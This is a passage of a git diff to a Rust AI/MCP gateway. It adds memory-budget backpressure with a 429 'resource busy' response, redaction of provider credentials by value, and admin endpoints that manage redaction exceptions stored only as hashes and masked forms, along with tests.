                         identity: auth_identity,
                         trace_id: auth_trace_id,
@@ -1077,7 +1070,12 @@ impl McpProxy {
                 let response = emitted
                     .response
                     .expect("Invocation::Buffered always yields Emitted.response");
-                if ctx.wants_streaming {
+                if ctx.wants_streaming
+                    && !response
+                        .error
+                        .as_ref()
+                        .is_some_and(|e| e.code == RESOURCE_BUSY)
+                {
                     // Client signalled SSE but the upstream replied
                     // buffered. Wrap the response (and any captured
                     // upstream timeline) as a sequence of SSE events.
@@ -1120,6 +1118,13 @@ impl McpProxy {
         server_name: &str,
         response: &JsonRpcResponse,
     ) {
+        if response
+            .error
+            .as_ref()
+            .is_some_and(|error| error.code == RESOURCE_BUSY)
+        {
+            return;
+        }
         let is_server_failure = response
             .error
             .as_ref()
diff --git a/crates/mcp-gateway/src/proxy/jsonrpc.rs b/crates/mcp-gateway/src/proxy/jsonrpc.rs
index be117652..b9da25f0 100644
--- a/crates/mcp-gateway/src/proxy/jsonrpc.rs
+++ b/crates/mcp-gateway/src/proxy/jsonrpc.rs
@@ -15,6 +15,9 @@ pub struct JsonRpcRequest {
 
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct JsonRpcResponse {
+    /// Internal ownership only; excluded from the JSON-RPC wire format.
+    #[serde(skip)]
+    pub memory: Option<bytes::Bytes>,
     pub jsonrpc: String,
     pub id: Option<serde_json::Value>,
     #[serde(skip_serializing_if = "Option::is_none")]
@@ -36,6 +39,7 @@ pub const INVALID_REQUEST: i32 = -32600;
 pub const METHOD_NOT_FOUND: i32 = -32601;
 pub const INVALID_PARAMS: i32 = -32602;
 pub const INTERNAL_ERROR: i32 = -32603;
+pub const RESOURCE_BUSY: i32 = -32005;
 /// ThinkWatch-specific: the calling user (or the calling API key's
 /// chosen account label) has no upstream credential for the requested
 /// MCP server. The `data` field carries `server_id` and an optional
@@ -48,6 +52,7 @@ pub(crate) fn ok_response(
     result: serde_json::Value,
 ) -> JsonRpcResponse {
     JsonRpcResponse {
+        memory: None,
         jsonrpc: "2.0".to_owned(),
         id,
         result: Some(result),
@@ -61,6 +66,7 @@ pub fn err_response(
     message: impl Into<String>,
 ) -> JsonRpcResponse {
     JsonRpcResponse {
+        memory: None,
         jsonrpc: "2.0".to_owned(),
         id,
         result: None,
diff --git a/crates/mcp-gateway/src/proxy/streaming.rs b/crates/mcp-gateway/src/proxy/streaming.rs
index d69834c9..2312e252 100644
--- a/crates/mcp-gateway/src/proxy/streaming.rs
+++ b/crates/mcp-gateway/src/proxy/streaming.rs
@@ -108,6 +108,8 @@ pub(crate) fn pick_response_envelope(
 ///
 /// [`run_post_invoke`]: think_watch_common::lifecycle::stages::run_post_invoke
 pub(crate) struct PumpContext {
+    pub memory: think_watch_common::resources::SharedStreamBudget,
+    pub request_id: Option<serde_json::Value>,
     pub identity: crate::lifecycle::McpIdentity,
     pub trace_id: String,
     pub started_at: std::time::Instant,
@@ -151,7 +153,13 @@ impl McpProxy {
         let bytes_source = upstream_resp
             .bytes_stream()
             .map(|r| r.map_err(|e| e.to_string()));
-        let body = build_passthrough_body(bytes_source, events_buf, done_tx);
+        let body = build_passthrough_body(
+            bytes_source,
+            events_buf,
+            done_tx,
+            ctx.memory.clone(),
+            ctx.request_id,
+        );
 
         let payload = StreamingPayload {
             body,
@@ -205,6 +213,8 @@ pub(crate) fn build_passthrough_body<S>(
     source: S,
     events_buf: std::sync::Arc<std::sync::Mutex<Vec<serde_json::Value>>>,
     done_tx: tokio::sync::oneshot::Sender<StreamOutcome>,
+    memory: think_watch_common::resources::SharedStreamBudget,
+    request_id: Option<serde_json::Value>,
 ) -> std::pin::Pin<
     Box<
         dyn futures::stream::Stream<
@@ -232,6 +242,23 @@ where
         while let Some(chunk) = source.next().await {
             match chunk {
                 Ok(bytes) => {
+                    let admitted = memory.lock().unwrap_or_else(|e| e.into_inner()).append(bytes.len());
+                    if !admitted {
+                        metrics::counter!("gateway_memory_busy_total").increment(1);
+                        metrics::counter!("mcp_memory_busy_total").increment(1);
+                        if let Some(tx) = done_tx.take() {
+                            let _ = tx.send(StreamOutcome::UpstreamError {
+                                error_type: "gateway_memory".into(),
+                                message: "Gateway buffering capacity is occupied; retry shortly".into(),
+                                status_code: 429,
+                            });
+                        }
+                        let error = crate::proxy::err_response(request_id.clone(), crate::proxy::RESOURCE_BUSY,
+                            "Gateway buffering capacity is occupied; retry shortly");
+                        yield Ok::<Event, Infallible>(Event::default().data(serde_json::to_string(&error).unwrap()));
+                        text_buf.clear();
+                        break;
+                    }
                     // Reject the chunk BEFORE the allocation when its
                     // post-append size would push us past the cap.
                     // Tearing down the stream is preferable to letting
@@ -264,7 +291,7 @@ where
                             // Best-effort JSON parse so non-JSON
                             // `data:` payloads (rare) still land in
                             // the timeline verbatim.
-                            let parsed = serde_json::from_str::<serde_json::Value>(&payload)
+                            let parsed = think_watch_common::resources::cpu(payload.len(), || serde_json::from_str::<serde_json::Value>(&payload)).await
                                 .unwrap_or_else(|_| {
                                     serde_json::Value::String(payload.clone())
                                 });
@@ -303,7 +330,7 @@ where
             && let Some(payload) = extract_sse_data_payload(trailing)
             && !payload.is_empty()
         {
-            let parsed = serde_json::from_str::<serde_json::Value>(&payload)
+            let parsed = think_watch_common::resources::cpu(payload.len(), || serde_json::from_str::<serde_json::Value>(&payload)).await
                 .unwrap_or_else(|_| serde_json::Value::String(payload.clone()));
             if let Ok(mut g) = events_buf.lock() {
                 g.push(parsed);
@@ -352,11 +379,12 @@ pub(crate) fn build_replay_payload(
     {
         events.push(s);
     }
-    let stream = futures::stream::iter(
-        events
-            .into_iter()
-            .map(|s| Ok::<_, Infallible>(Event::default().data(s))),
-    );
+    let stream = async_stream::stream! {
+        let _memory = response.memory;
+        for event in events {
+            yield Ok::<_, Infallible>(Event::default().data(event));
+        }
+    };
     StreamingPayload {
         body: Box::pin(stream),
         new_session_id: None,
@@ -368,8 +396,24 @@ mod replay_tests {
     use super::*;
     use futures::StreamExt;
 
+    #[tokio::test]
+    async fn replay_retains_buffer_admission_until_the_slow_consumer_drops() {
+        let budget = think_watch_common::resources::ByteBudget::new(100);
+        let mut lease = budget.reserve();
+        assert!(lease.grow(100));
+        let mut response = make_response(1, serde_json::json!({"ok":true}));
+        response.memory = Some(lease.wrap(bytes::Bytes::from_static(b"upstream")));
+        let mut payload = build_replay_payload(response, None);
+        assert_eq!(budget.used(), 100);
+        let _ = payload.body.next().await.unwrap().unwrap();
+        assert_eq!(budget.used(), 100);
+        drop(payload);
+        assert_eq!(budget.used(), 0);
+    }
+
     fn make_response(id: u64, result: serde_json::Value) -> JsonRpcResponse {
         JsonRpcResponse {
+            memory: None,
             jsonrpc: "2.0".to_owned(),
             id: Some(serde_json::json!(id)),
             result: Some(result),
@@ -537,13 +581,54 @@ mod passthrough_tests {
     use futures::stream::{self, StreamExt};
     use std::sync::{Arc, Mutex};
 
+    #[tokio::test]
+    async fn small_events_share_admission_and_a_detached_tail_keeps_it_after_cancel() {
+        use think_watch_common::resources::{BODY_HEADROOM, ByteBudget, StreamBudget};
+        let chunk = Bytes::from_static(b"data: {\"result\":1}\n\n");
+        let budget = ByteBudget::new(chunk.len() * BODY_HEADROOM);
+        let memory = Arc::new(Mutex::new(StreamBudget::new(&budget, 1024)));
+        let tail_memory = memory.clone();
+        let events = Arc::new(Mutex::new(Vec::new()));
+        let (tx, rx) = tokio::sync::oneshot::channel();
+        let mut body = build_passthrough_body(
+            stream::iter([Ok(chunk.clone()), Ok(chunk.clone())]),
+            events.clone(),
+            tx,
+            memory,
+            Some(serde_json::json!(42)),
+        );
+        let _ = body.next().await.unwrap().unwrap();
+        let busy = body.next().await.unwrap().unwrap();
+        let busy = format!("{busy:?}");
+        assert!(busy.contains("-32005"), "{busy}");
+        assert!(
+            busy.contains("42"),
+            "the busy response must identify the request: {busy}"
+        );
+        assert!(
+            matches!(rx.await.unwrap(), StreamOutcome::UpstreamError { error_type, status_code: 429, .. } if error_type == "gateway_memory")
+        );
+        assert_eq!(events.lock().unwrap().len(), 1);
+        drop(body);
+        assert_eq!(budget.used(), chunk.len() * BODY_HEADROOM);
+        drop(events);
+        drop(tail_memory);
+        assert_eq!(budget.used(), 0);
+    }
+
     async fn run_body(
         chunks: Vec<Result<Bytes, String>>,
     ) -> (usize, Vec<serde_json::Value>, Option<&'static str>) {
         let events_buf: Arc<Mutex<Vec<serde_json::Value>>> = Arc::new(Mutex::new(Vec::new()));
         let (done_tx, done_rx) = tokio::sync::oneshot::channel::<StreamOutcome>();
         let source = stream::iter(chunks);
-        let body = build_passthrough_body(source, events_buf.clone(), done_tx);
+        let body = build_passthrough_body(
+            source,
+            events_buf.clone(),
+            done_tx,
+            think_watch_common::resources::stream_budget(),
+            None,
+        );
         let mut count = 0usize;
         let mut body = body;
         while let Some(_ev) = body.next().await {
@@ -629,7 +714,13 @@ mod passthrough_tests {
             "data: {\"jsonrpc\":\"2.0\",\"method\":\"x\"}\n\n",
         ))])
         .chain(stream::pending());
-        let body = build_passthrough_body(source, events_buf.clone(), done_tx);
+        let body = build_passthrough_body(
+            source,
+            events_buf.clone(),
+            done_tx,
+            think_watch_common::resources::stream_budget(),
+            None,
+        );
         let mut body = body;
         let _ = body.next().await;
         drop(body);
diff --git a/crates/mcp-gateway/src/transport/streamable_http.rs b/crates/mcp-gateway/src/transport/streamable_http.rs
index a0f86554..b2455ac7 100644
--- a/crates/mcp-gateway/src/transport/streamable_http.rs
+++ b/crates/mcp-gateway/src/transport/streamable_http.rs
@@ -108,7 +108,7 @@ pub async fn handle_post(
     State(state): State<Arc<McpGatewayState>>,
     headers: HeaderMap,
     axum::Extension(identity): axum::Extension<McpRequestIdentity>,
-    Json(request): Json<JsonRpcRequest>,
+    think_watch_common::resources::http::ScheduledJson(request): think_watch_common::resources::http::ScheduledJson<JsonRpcRequest>,
 ) -> impl IntoResponse {
     // --- Session management ------------------------------------------------
     let sessions = &state.proxy.sessions;
@@ -162,6 +162,16 @@ pub async fn handle_post(
 
     match outcome {
         HandleOutcome::Buffered(response) => {
+            let memory = response.memory.clone().unwrap_or_default();
+            if response
+                .error
+                .as_ref()
+                .is_some_and(|e| e.code == crate::proxy::RESOURCE_BUSY)
+            {
+                resp_headers.insert(axum::http::header::RETRY_AFTER, "1".parse().unwrap());
+                return (StatusCode::TOO_MANY_REQUESTS, resp_headers, Json(response))
+                    .into_response();
+            }
             // Buffered shape happens for initialize / tools/list, for
             // tools/call cache hits / early rejections, AND for
             // tools/call when the upstream replied with plain
@@ -172,13 +182,25 @@ pub async fn handle_post(
             // plain JSON-RPC clients.
             if sse_capable {
                 let payload = serde_json::to_string(&response).unwrap_or_default();
-                let event = Ok::<_, std::convert::Infallible>(Event::default().data(payload));
-                let stream = futures::stream::iter(std::iter::once(event));
+                let stream = async_stream::stream! {
+                    let _memory = memory;
+                    yield Ok::<_, std::convert::Infallible>(Event::default().data(payload));
+                };
                 let mut sse_resp = Sse::new(stream).into_response();
                 sse_resp.headers_mut().extend(resp_headers);
                 sse_resp
             } else {
-                (StatusCode::OK, resp_headers, Json(response)).into_response()
+                let bytes = serde_json::to_vec(&response).unwrap_or_default();
+                resp_headers.insert(
+                    axum::http::header::CONTENT_TYPE,
+                    "application/json".parse().unwrap(),
+                );
+                (
+                    StatusCode::OK,
+                    resp_headers,
+                    think_watch_common::resources::retain(bytes.into(), memory),
+                )
+                    .into_response()
             }
         }
         HandleOutcome::Streaming(payload) => {
diff --git a/crates/mcp-gateway/src/user_token.rs b/crates/mcp-gateway/src/user_token.rs
index 24e1df1e..c92f008a 100644
--- a/crates/mcp-gateway/src/user_token.rs
+++ b/crates/mcp-gateway/src/user_token.rs
@@ -825,7 +825,10 @@ impl UserTokenResolver {
         };
 
         let status = resp.status();
-        let text = resp.text().await.unwrap_or_default();
+        let bytes = think_watch_common::resources::read_response(resp, 64 * 1024)
+            .await
+            .map_err(|e| OAuthRefreshFailure::Transient(format!("token response read: {e}")))?;
+        let text = String::from_utf8_lossy(&bytes);
         if !status.is_success() {
             // Only treat actually-irrecoverable grant rejections as
             // Permanent — the original "any 4xx → Permanent" rule
diff --git a/crates/server/Cargo.toml b/crates/server/Cargo.toml
index c14e4140..49796768 100644
--- a/crates/server/Cargo.toml
+++ b/crates/server/Cargo.toml
@@ -11,6 +11,8 @@ name = "think-watch-server"
 path = "src/main.rs"
 
 [dependencies]
+mimalloc = { version = "0.1.52", features = ["no_thp"] }
+libc = "0.2"
 tw-breaker = { workspace = true }
 think-watch-common = { workspace = true }
 think-watch-auth = { workspace = true }
diff --git a/crates/server/src/app.rs b/crates/server/src/app.rs
index 6c449749..91349b97 100644
--- a/crates/server/src/app.rs
+++ b/crates/server/src/app.rs
@@ -19,6 +19,7 @@ use think_watch_auth::oidc::OidcManager;
 use think_watch_common::audit::AuditLogger;
 use think_watch_common::config::AppConfig;
 use think_watch_common::dynamic_config::DynamicConfig;
+use think_watch_common::guard_policy::saved::SavedSecrets;
 use think_watch_gateway::cache::ResponseCache;
 use think_watch_gateway::model_mapping::ModelMapper;
 use think_watch_gateway::proxy::{self as gateway_proxy, GatewayState};
@@ -105,33 +106,67 @@ pub struct AppState {
     /// at once. A handle of its own because mcp-gateway cannot depend on
     /// the gateway crate without inverting the dep graph.
     pub blob_redactor: Arc<arc_swap::ArcSwap<think_watch_common::pii::BlobRedactor>>,
+
+    /// The providers' credentials, which outbound redaction recognises by
+    /// value. Collected whenever the providers are loaded
+    /// ([`install_providers`]); the guards and the at-rest redactor are
+    /// recompiled with them.
+    pub saved_secrets: Arc<arc_swap::ArcSwap<SavedSecrets>>,
 }
 
 /// The request guards, compiled from the policies in `system_settings`
-/// (`security.redact`, `security.inspect_tools`, `security.content`). A
-/// policy that is missing or unreadable runs as the factory one, loudly.
-pub async fn load_guards(dc: &DynamicConfig) -> think_watch_gateway::guards::Guards {
+/// (`security.redact`, `security.inspect_tools`, `security.content`), with
+/// the providers' credentials (`saved`) for outbound redaction to
+/// recognise by value. A policy that is missing or unreadable runs as the
+/// factory one, loudly.
+pub async fn load_guards(
+    dc: &DynamicConfig,
+    saved: &SavedSecrets,
+) -> think_watch_gateway::guards::Guards {
     let policy = think_watch_common::guard_policy::read(dc).await;
-    think_watch_gateway::guards::Guards::new(&policy)
+    think_watch_gateway::guards::Guards::new(&policy, saved)
 }
 
 /// The MCP gateway's at-rest redactor, from the same outbound redaction
-/// policy the guards are compiled from.
-pub async fn load_blob_redactor(dc: &DynamicConfig) -> think_watch_common::pii::BlobRedactor {
+/// policy and saved secrets the guards are compiled from.
+pub async fn load_blob_redactor(
+    dc: &DynamicConfig,
+    saved: &SavedSecrets,
+) -> think_watch_common::pii::BlobRedactor {
     let policy = think_watch_common::guard_policy::read(dc).await;
-    think_watch_common::pii::BlobRedactor::from_policy(&policy.redact)
+    think_watch_common::pii::BlobRedactor::from_policy(&policy.redact, saved)
 }
 
 /// Recompile the guards and the at-rest redactor from the dynamic config
-/// as it now stands, and swap them in together. Call after the config was
-/// reloaded.
+/// and the saved secrets as they now stand, and swap them in together.
+/// Call after the config was reloaded or the providers were.
 pub async fn reload_guards(state: &AppState) {
+    let saved = state.saved_secrets.load_full();
     state
         .guards
-        .store(Arc::new(load_guards(&state.dynamic_config).await));
-    state
-        .blob_redactor
-        .store(Arc::new(load_blob_redactor(&state.dynamic_config).await));
+        .store(Arc::new(load_guards(&state.dynamic_config, &saved).await));
+    state.blob_redactor.store(Arc::new(
+        load_blob_redactor(&state.dynamic_config, &saved).await,
+    ));
+}
+
+/// Load the providers from the database: rebuild the model router and
+/// swap it in, and, when the providers' credentials changed, swap those in
+/// and recompile the guards with them. On this instance only; see
+/// [`rebuild_gateway_router`] for the fan-out.
+pub async fn install_providers(state: &AppState) -> anyhow::Result<()> {
+    let mut router = ModelRouter::new();
+    let saved = load_providers_into_router(state, &mut router).await?;
+    state.gateway_router.store(Arc::new(router));
+    if **state.saved_secrets.load() != saved {
+        tracing::info!(
+            credentials = saved.len(),
+            "Provider credentials changed — recompiling outbound redaction"
+        );
+        state.saved_secrets.store(Arc::new(saved));
+        reload_guards(state).await;
+    }
+    Ok(())
 }
 
 /// Redis pub/sub channel that sibling replicas subscribe to so a
@@ -145,12 +180,10 @@ pub const GATEWAY_ROUTER_CHANGED_CHANNEL: &str = "gateway_router:changed";
 /// Rebuild the gateway model router from the database and hot-swap it in.
 /// Called by provider/model CRUD handlers after changes.
 pub async fn rebuild_gateway_router(state: &AppState) {
-    let mut new_router = ModelRouter::new();
-    if let Err(e) = load_providers_into_router(state, &mut new_router).await {
+    if let Err(e) = install_providers(state).await {
         tracing::error!("Failed to rebuild gateway router: {e}");
         return;
     }
-    state.gateway_router.store(Arc::new(new_router));
     tracing::info!("Gateway router hot-reloaded");
 
     // Notify sibling replicas so they reload too. Fire-and-forget:
@@ -212,16 +245,15 @@ pub async fn create_gateway_app(_config: &AppConfig, state: AppState) -> anyhow:
     // the first one. The `/health/ready` probe checks the providers
     // table directly, so K8s won't route AI traffic to a pod with
     // an empty router.
-    // Build the initial router and swap it into the shared handle.
-    let mut initial_router = ModelRouter::new();
-    if let Err(e) = load_providers_into_router(&state, &mut initial_router).await {
+    // Build the initial router and swap it into the shared handle, and
+    // compile the guards with the providers' credentials.
+    if let Err(e) = install_providers(&state).await {
         metrics::counter!("gateway_provider_load_failed_total").increment(1);
         tracing::error!(
             "Failed to load providers from database; gateway will start with empty router \
              and /health/ready will return 503 until providers are configured: {e}"
         );
     }
-    state.gateway_router.store(Arc::new(initial_router));
 
     // Reuse AppState's WeightCache so the limits engine, cost tracker,
     // AND the model CRUD handlers all reference the SAME cache — the
@@ -408,6 +440,9 @@ pub async fn create_gateway_app(_config: &AppConfig, state: AppState) -> anyhow:
         .merge(ai_routes)
         .merge(key_routes)
         .merge(mcp_routes)
+        .layer(axum::middleware::from_fn(
+            think_watch_common::resources::http::admit,
+        ))
         .layer(RequestBodyLimitLayer::new(10 * 1024 * 1024)) // 10MB for large prompts
         // When the timeout below starts counting: a whole answer's retries
         // stop in time for its error to be written (see `gateway_proxy::retry`).
@@ -976,6 +1011,16 @@ pub fn create_console_app(config: &AppConfig, state: AppState) -> anyhow::Result
             "/api/admin/security/{guard}/test",
             post(handlers::admin::test_security),
         )
+        // Redaction's exception values: their own endpoints, since the
+        // console writes the rest of the policy back whole.
+        .route(
+            "/api/admin/security/redact/exceptions",
+            get(handlers::admin::list_exceptions).post(handlers::admin::add_exception),
+        )
+        .route(
+            "/api/admin/security/redact/exceptions/{sha256}",
+            delete(handlers::admin::remove_exception),
+        )
         // Log forwarders CRUD
         .route(
             "/api/admin/log-forwarders",
@@ -1144,6 +1189,7 @@ pub fn create_console_app(config: &AppConfig, state: AppState) -> anyhow::Result
         // upgrade path bypasses tower-http body transforms); permessage-
         // deflate negotiation belongs at the reverse-proxy layer.
         .layer(CompressionLayer::new())
+        .layer(axum::middleware::from_fn(think_watch_common::resources::http::admit))
         .layer(RequestBodyLimitLayer::new(1024 * 1024)) // 1MB for console API
         .layer(TimeoutLayer::with_status_code(
             axum::http::StatusCode::REQUEST_TIMEOUT,
@@ -1207,10 +1253,12 @@ fn default_model_prefixes(provider_type: &str) -> Vec<&'static str> {
 
 /// Load all active providers from the database, instantiate the appropriate
 /// provider implementation, and register them in the model router.
-pub(crate) async fn load_providers_into_router(
+/// Load the active providers and their routes into `router`, and collect
+/// the providers' credentials for outbound redaction.
+async fn load_providers_into_router(
     state: &AppState,
     router: &mut ModelRouter,
-) -> anyhow::Result<()> {
+) -> anyhow::Result<SavedSecrets> {
     use std::collections::HashMap;
 
     let providers = sqlx::query_as::<_, think_watch_common::models::Provider>(
@@ -1447,5 +1495,7 @@ pub(crate) async fn load_providers_into_router(
         "All providers loaded into model router"
     );
 
-    Ok(())
+    Ok(SavedSecrets::collect(
+        provider_map.values().map(ProviderMaterials::credentials),
+    ))
 }
diff --git a/crates/server/src/gateway_adapters.rs b/crates/server/src/gateway_adapters.rs
index d763ceba..db4b3116 100644
--- a/crates/server/src/gateway_adapters.rs
+++ b/crates/server/src/gateway_adapters.rs
@@ -24,6 +24,8 @@ pub(crate) struct ProviderMaterials {
     /// Bedrock API key (an `Authorization` header) has no keys and is
     /// never signed. Only read by the Bedrock adapter.
     pub(crate) aws: Credential,
+    /// The slowest generation the provider's streams may keep up.
+    pub(crate) min_speed: Option<think_watch_gateway::proxy::min_speed::MinSpeed>,
 }
 
 impl ProviderMaterials {
@@ -86,6 +88,28 @@ impl ProviderMaterials {
                 .and_then(|v| v.as_str())
                 .map(|s| s.to_string()),
             aws,
+            min_speed: think_watch_gateway::proxy::min_speed::MinSpeed::from_row(
+                provider.min_speed_tokens_per_sec,
+                provider.min_speed_window_secs,
+            ),
+        }
+    }
+
+    /// The credentials this provider sends, for outbound redaction to
+    /// recognise by value (`guard_policy::saved`).
+    pub(crate) fn credentials(
+        &self,
+    ) -> think_watch_common::guard_policy::saved::ProviderCredentials<'_> {
+        think_watch_common::guard_policy::saved::ProviderCredentials {
+            name: &self.name,
+            base_url: &self.base_url,
+            headers: &self.headers,
+            aws_secret_access_key: match &self.aws {
+                Credential::Keys {
+                    secret_access_key, ..
+                } => Some(secret_access_key),
+                _ => None,
+            },
         }
     }
 }
@@ -116,12 +140,9 @@ pub(crate) fn build_upstream(m: &ProviderMaterials) -> Arc<Upstream> {
         }
         _ => Shape::Standard,
     };
-    Arc::new(Upstream::new(
-        &m.base_url,
-        m.headers.clone(),
-        shape,
-        &m.name,
-    ))
+    Arc::new(
+        Upstream::new(&m.base_url, m.headers.clone(), shape, &m.name).with_min_speed(m.min_speed),
+    )
 }
 
 /// The API version an Azure deployment is addressed with when the
@@ -146,6 +167,8 @@ mod tests {
             config_json: config,
             created_at: chrono::Utc::now(),
             deleted_at: None,
+            min_speed_tokens_per_sec: None,
+            min_speed_window_secs: 20,
         }
     }
 
diff --git a/crates/server/src/handlers/admin.rs b/crates/server/src/handlers/admin.rs
index f9ac1362..f2b259db 100644
--- a/crates/server/src/handlers/admin.rs
+++ b/crates/server/src/handlers/admin.rs
@@ -19,7 +19,7 @@ pub use oidc::{
 pub use retention::{
     check_body_retention_vs_lifecycle, reconcile_blob_lifecycle, reconcile_clickhouse_ttls,
 };
-pub use security::{get_security, test_security};
+pub use security::{add_exception, get_security, list_exceptions, remove_exception, test_security};
 pub use settings::{
     AuditConfigResponse, SystemInfo, UpdateSettingsRequest, get_all_settings, get_audit_settings,
     get_settings_by_category, get_system_settings, update_settings,
@@ -42,7 +42,10 @@ pub use oidc::{
     __path_update_oidc_draft,
 };
 #[allow(unused_imports)]
-pub use security::{__path_get_security, __path_test_security};
+pub use security::{
+    __path_add_exception, __path_get_security, __path_list_exceptions, __path_remove_exception,
+    __path_test_security,
+};
 #[allow(unused_imports)]
 pub use settings::{
     __path_get_all_settings, __path_get_audit_settings, __path_get_settings_by_category,
diff --git a/crates/server/src/handlers/admin/security.rs b/crates/server/src/handlers/admin/security.rs
index 47bd5b6f..eccb5db5 100644
--- a/crates/server/src/handlers/admin/security.rs
+++ b/crates/server/src/handlers/admin/security.rs
@@ -14,14 +14,25 @@
 //! `content_filter:read` for the content filter and tool-call inspection;
 //! changing a policy takes `settings:write` and the guard's `:write`.
 //! Reading the policies is reading settings.
+//!
+//! Redaction's exception values have endpoints of their own
+//! (`/api/admin/security/redact/exceptions`, see
+//! `think_watch_common::guard_policy::exceptions`): listing them is reading
+//! settings, adding and removing them is changing the redaction policy.
+//! A value pasted to add is hashed on arrival; only its SHA-256 and masked
+//! form are stored, answered or written to the audit log.
 
 use axum::Json;
 use axum::extract::{Path, State};
-use tw_guard::policy::Guard;
+use axum::http::StatusCode;
+use serde::{Deserialize, Serialize};
+use tw_guard::policy::{EXCEPTIONS_MAX, Guard, RedactException, RedactPolicy};
 use tw_guard::trial::{TrialRequest, TrialResult};
 use tw_guard::view::SecurityDetail;
 
+use think_watch_common::dynamic_config;
 use think_watch_common::errors::AppError;
+use think_watch_common::guard_policy;
 
 use crate::app::AppState;
 use crate::middleware::auth_guard::AuthUser;
@@ -106,11 +117,213 @@ pub async fn test_security(
         .require_global_permission(&state.db, read_permission(guard))
         .await?;
     let policy = think_watch_common::guard_policy::read(&state.dynamic_config).await;
-    tw_guard::trial::run(guard, &policy, &req)
+    // With the providers' credentials, as the gateway runs: a pasted
+    // provider key is reported (by provider, never by value).
+    let saved = state.saved_secrets.load().compiled();
+    tw_guard::trial::run_with(guard, &policy, &req, saved)
         .map(Json)
         .map_err(|e| AppError::BadRequest(e.to_string()))
 }
 
+/// `GET /api/admin/security/redact/exceptions`.
+#[derive(Debug, Serialize, utoipa::ToSchema)]
+pub struct ExceptionList {
+    /// `{ sha256, masked, rule?, added_at }`, in the order added.
+    #[schema(value_type = Vec<Object>)]
+    pub items: Vec<RedactException>,
+    /// How many there may be. Adding is refused at this many.
+    pub max: usize,
+}
+
+/// `POST /api/admin/security/redact/exceptions`: the value to except, as it
+/// appears in requests. Surrounding whitespace is ignored.
+#[derive(Deserialize, utoipa::ToSchema)]
+pub struct AddException {
+    pub value: String,
+}
+
+/// Never the value: this type ends up in error reports.
+impl std::fmt::Debug for AddException {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        f.debug_struct("AddException").finish_non_exhaustive()
+    }
+}
+
+/// GET /api/admin/security/redact/exceptions — redaction's exception
+/// values: each one's SHA-256, masked form, the rule that first recognised
+/// it and when it was added.
+#[utoipa::path(
+    get,
+    path = "/api/admin/security/redact/exceptions",
+    tag = "Settings",
+    responses(
+        (status = 200, description = "The exception values", body = ExceptionList),
+        (status = 403, description = "Forbidden"),
+    ),
+    security(("BearerAuth" = []))
+)]
+pub async fn list_exceptions(
+    auth_user: AuthUser,
+    State(state): State<AppState>,
+) -> Result<Json<ExceptionList>, AppError> {
+    auth_user
+        .require_global_permission(&state.db, "settings:read")
+        .await?;
+    let stored = state
+        .dynamic_config
+        .get(guard_policy::key(Guard::Redact))
+        .await;
+    Ok(Json(ExceptionList {
+        items: guard_policy::exceptions::stored(stored.as_ref()),
+        max: EXCEPTIONS_MAX,
+    }))
+}
+
+/// POST /api/admin/security/redact/exceptions — add a value. It is hashed
+/// here and never stored, logged or answered; the answer is the exception
+/// as stored. A saved provider key cannot be an exception.
+#[utoipa::path(
+    post,
+    path = "/api/admin/security/redact/exceptions",
+    tag = "Settings",
+    request_body = AddException,
+    responses(
+        (status = 201, description = "Added: the exception as stored", body = Object),
+        (status = 400, description = "Empty, a saved provider key, or the list is full"),
+        (status = 403, description = "Forbidden"),
+        (status = 409, description = "Already an exception"),
+    ),
+    security(("BearerAuth" = []))
+)]
+pub async fn add_exception(
+    auth_user: AuthUser,
+    State(state): State<AppState>,
+    Json(req): Json<AddException>,
+) -> Result<(StatusCode, Json<RedactException>), AppError> {
+    require_write(&auth_user, &state).await?;
+    let saved = state.saved_secrets.load().compiled();
+    let added = edit_exceptions(&state, &auth_user, |policy, list| {
+        let e = policy
+            .exception_of(&req.value, saved, chrono::Utc::now().timestamp_millis())
+            .map_err(|e| AppError::BadRequest(e.to_string()))?;
+        if list.iter().any(|x| x.sha256 == e.sha256) {
+            return Err(AppError::Conflict("This value is already an exception.".into()));
+        }
+        if list.len() >= EXCEPTIONS_MAX {
+            return Err(AppError::BadRequest(format!(
+                "There are already {EXCEPTIONS_MAX} exceptions, the most there may be; remove one first."
+            )));
+        }
+        list.push(e.clone());
+        Ok(e)
+    })
+    .await?;
+    state.audit.log(
+        auth_user
+            .audit("security.redact_exception_added")
+            .resource("system_settings")
+            .detail(serde_json::json!({"rule": added.rule, "masked": added.masked})),
+    );
+    Ok((StatusCode::CREATED, Json(added)))
+}
+
+/// DELETE /api/admin/security/redact/exceptions/{sha256} — remove one.
+/// The answer is the exception removed.
+#[utoipa::path(
+    delete,
+    path = "/api/admin/security/redact/exceptions/{sha256}",
+    tag = "Settings",
+    params(("sha256" = String, Path, description = "The exception's SHA-256, as listed")),
+    responses(
+        (status = 200, description = "Removed: the exception as it was stored", body = Object),
+        (status = 403, description = "Forbidden"),
+        (status = 404, description = "No such exception"),
+    ),
+    security(("BearerAuth" = []))
+)]
+pub async fn remove_exception(
+    auth_user: AuthUser,
+    State(state): State<AppState>,
+    Path(sha256): Path<String>,
+) -> Result<Json<RedactException>, AppError> {
+    require_write(&auth_user, &state).await?;
+    let removed = edit_exceptions(&state, &auth_user, |_, list| {
+        let at = list
+            .iter()
+            .position(|e| e.sha256 == sha256)
+            .ok_or_else(|| AppError::NotFound("There is no such exception.".into()))?;
+        Ok(list.remove(at))
+    })
+    .await?;
+    state.audit.log(
+        auth_user
+            .audit("security.redact_exception_removed")
+            .resource("system_settings")
+            .detail(serde_json::json!({"rule": removed.rule, "masked": removed.masked})),
+    );
+    Ok(Json(removed))
+}
+
+/// Changing the exceptions is changing the redaction policy.
+async fn require_write(auth_user: &AuthUser, state: &AppState) -> Result<(), AppError> {
+    for p in ["settings:write", write_permission(Guard::Redact)] {
+        auth_user.require_global_permission(&state.db, p).await?;
+    }
+    Ok(())
+}
+
+/// Change the stored exceptions with `f`, which sees the policy as stored
+/// and its exception list, and swap the guards in on every instance. The
+/// row is locked from read to write, so two admins adding at once on two
+/// instances both land. Nothing is written when `f` refuses.
+async fn edit_exceptions<R>(
+    state: &AppState,
+    auth_user: &AuthUser,
+    f: impl FnOnce(&RedactPolicy, &mut Vec<RedactException>) -> Result<R, AppError>,
+) -> Result<R, AppError> {
+    let key = guard_policy::key(Guard::Redact);
+    let mut tx = state.db.begin().await?;
+    let stored: Option<serde_json::Value> =
+        sqlx::query_scalar("SELECT value FROM system_settings WHERE key = $1 FOR UPDATE")
+            .bind(key)
+            .fetch_optional(&mut *tx)
+            .await?;
